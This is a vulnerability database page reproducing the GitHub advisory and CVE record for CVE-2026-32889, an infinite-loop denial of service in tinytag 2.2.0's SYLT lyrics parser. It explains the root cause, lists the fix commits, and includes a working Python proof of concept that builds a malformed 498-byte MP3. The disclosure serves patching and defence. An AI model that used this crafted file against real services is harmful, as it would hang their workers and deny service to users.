Vulnerability-Lookup

GHSA-F4RQ-2259-HV29

Vulnerability from github – Published: 2026-03-19 17:25 – Updated: 2026-03-20 21:20

Summary

Denial of service via non-terminating SYLT frame parsing loop in tinytag

Details

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "tinytag"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T17:25:59Z",
    "nvd_published_at": "2026-03-20T03:15:59Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`tinytag` `2.2.0` allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 `SYLT` (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single `498`-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.\n\n### Details\n\nIn tag `2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`), the reachable call path is:\n\n- `TinyTag.get` in [`tinytag/tinytag.py#L144-L154`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L144-L154)\n- `_load` in [`tinytag/tinytag.py#L259-L266`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L259-L266)\n- `_parse_tag` and `_parse_id3v2` in [`tinytag/tinytag.py#L1059-L1092`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1059-L1092)\n- `_parse_frame` for `SYLT` / `SLT` in [`tinytag/tinytag.py#L1316-L1318`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1316-L1318)\n- `_parse_synced_lyrics` and `_find_string_end_pos` in [`tinytag/tinytag.py#L1219-L1248`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1219-L1248) and [`tinytag/tinytag.py#L1340-L1352`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1340-L1352)\n\nThe root cause is that `_parse_synced_lyrics` assumes `_find_string_end_pos` always returns a position greater than the current `offset`. That assumption is false when no string terminator is present in the remaining frame content.\n\nFor single-byte encodings, `_find_string_end_pos` does:\n\n```python\nreturn content.find(b\u0027\\x00\u0027, start_pos) + 1\n```\n\nIf no terminator exists, `content.find(...)` returns `-1`, so the function returns `0`. `_parse_synced_lyrics` then does `offset = end_pos`, which resets `offset` to `0` inside:\n\n```python\nwhile offset \u003c content_length:\n    end_pos = self._find_string_end_pos(content, encoding, offset)\n    value = self._decode_string(encoding + content[offset:end_pos]).lstrip(\u0027\\n\u0027)\n    offset = end_pos\n    time = unpack(\u0027\u003eI\u0027, content[offset:offset + 4])[0]\n```\n\nBecause `offset` is reset to `0`, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in `_find_string_end_pos` has the same shape: if no `b\u0027\\x00\\x00\u0027` terminator is found, it also returns `0`, so the same non-progress condition applies there.\n\n`SYLT` parsing support was introduced by commit [`4d649b9c314ada8ff8a74e0469e9aadb3acb252a`](https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a) (`ID3: Make synced lyrics available in \u0027other.lyrics\u0027 (LRC format) (#270)`), which first shipped in `2.2.0`. I confirmed that `2.1.2` does not contain `_parse_synced_lyrics`, so `2.2.0` is the only confirmed affected release at this time.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS `26.3` / Darwin `arm64`\n- Python `3.14.3`\n- Confirmed affected release: `tinytag 2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`)\n- Also reproduced on current `main` commit `1d23f6fe169c92c070a265f9108e295577141383`\n\n### PoC\n\nThe following self-contained PoC generates a malformed `SYLT` frame and passes it to `TinyTag.get`:\n\n```python\n#!/usr/bin/env python3\nimport signal\nimport struct\nimport time\nfrom io import BytesIO\n\nfrom tinytag import TinyTag\n\n\ndef create_malicious_mp3() -\u003e bytes:\n    id3_header = b\"ID3\" + bytes([3, 0, 0])  # ID3v2.3\n    encoding = b\"\\x00\"  # ISO-8859-1\n    language = b\"eng\"\n    timestamp_format = b\"\\x02\"\n    content_type = b\"\\x01\"\n    descriptor = b\"test\\x00\"\n    lyrics_data = b\"A\" * 50  # no null terminator in the remaining SYLT payload\n    frame_content = (\n        encoding + language + timestamp_format + content_type + descriptor + lyrics_data\n    )\n    frame = b\"SYLT\" + struct.pack(\"\u003eI\", len(frame_content)) + b\"\\x00\\x00\" + frame_content\n\n    tag_size = len(frame)\n    synchsafe = bytearray(4)\n    n = tag_size\n    for i in range(3, -1, -1):\n        synchsafe[i] = n \u0026 0x7F\n        n \u003e\u003e= 7\n\n    return (\n        id3_header\n        + bytes(synchsafe)\n        + frame\n        + b\"\\xff\\xfb\\x90\\x00\"\n        + b\"\\x00\" * 413\n    )\n\n\ndef timeout_handler(signum, frame) -\u003e None:\n    print(\"CONFIRMED: parsing did not finish within 10.0s; external interruption was required\")\n    raise SystemExit(1)\n\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(10)\nstart = time.time()\n\ntry:\n    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename=\"poc.mp3\")\n    signal.alarm(0)\n    print(f\"Unexpectedly completed in {time.time() - start:.3f}s\")\nexcept SystemExit:\n    raise\nexcept Exception as exc:\n    signal.alarm(0)\n    print(f\"Unexpected exception before timeout: {type(exc).__name__}: {exc}\")\n```\n\nObserved output on `2.2.0` in the environment above:\n\n```text\nCONFIRMED: parsing did not finish within 10.0s; external interruption was required\n```\n\n### Impact\n\nAn attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.\n\nIn server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.\n\n### Patches\n\nFixed in the following commits:\n\n- https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402\n- https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a",
  "id": "GHSA-f4rq-2259-hv29",
  "modified": "2026-03-20T21:20:19Z",
  "published": "2026-03-19T17:25:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinytag/tinytag/security/advisories/GHSA-f4rq-2259-hv29"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32889"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinytag/tinytag"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service via non-terminating SYLT frame parsing loop in tinytag"
}

CVE-2026-32889 (GCVE-0-2026-32889)

Vulnerability from cvelistv5 – Published: 2026-03-20 02:23 – Updated: 2026-03-21 02:59

Title

tinytag: Denial of Service via non-terminating SYLT frame parsing loop

Summary

tinytag is a Python library for reading audio file metadata. Version 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated. The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content. This issue has been fixed in version 2.2.1.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/tinytag/tinytag/security/advis…	x_refsource_CONFIRM
https://github.com/tinytag/tinytag/commit/44e4963…	x_refsource_MISC
https://github.com/tinytag/tinytag/commit/4d649b9…	x_refsource_MISC
https://github.com/tinytag/tinytag/commit/5cd3215…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
tinytag	tinytag	Affected: >= 2.2.0, < 2.2.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-32889",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-21T02:58:19.146172Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-21T02:59:12.338Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "tinytag",
          "vendor": "tinytag",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.2.0, \u003c 2.2.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "tinytag is a Python library for reading audio file metadata. Version 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated. The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content. This issue has been fixed in version 2.2.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-835",
              "description": "CWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-20T02:23:25.079Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/tinytag/tinytag/security/advisories/GHSA-f4rq-2259-hv29",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/tinytag/tinytag/security/advisories/GHSA-f4rq-2259-hv29"
        },
        {
          "name": "https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a"
        },
        {
          "name": "https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a"
        },
        {
          "name": "https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402"
        }
      ],
      "source": {
        "advisory": "GHSA-f4rq-2259-hv29",
        "discovery": "UNKNOWN"
      },
      "title": "tinytag: Denial of Service via non-terminating SYLT frame parsing loop"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-32889",
    "datePublished": "2026-03-20T02:23:25.079Z",
    "dateReserved": "2026-03-16T21:03:44.422Z",
    "dateUpdated": "2026-03-21T02:59:12.338Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-F4RQ-2259-HV29

Summary

Details

PoC

Impact

Patches

CVE-2026-32889 (GCVE-0-2026-32889)

Tags

Sightings

Nomenclature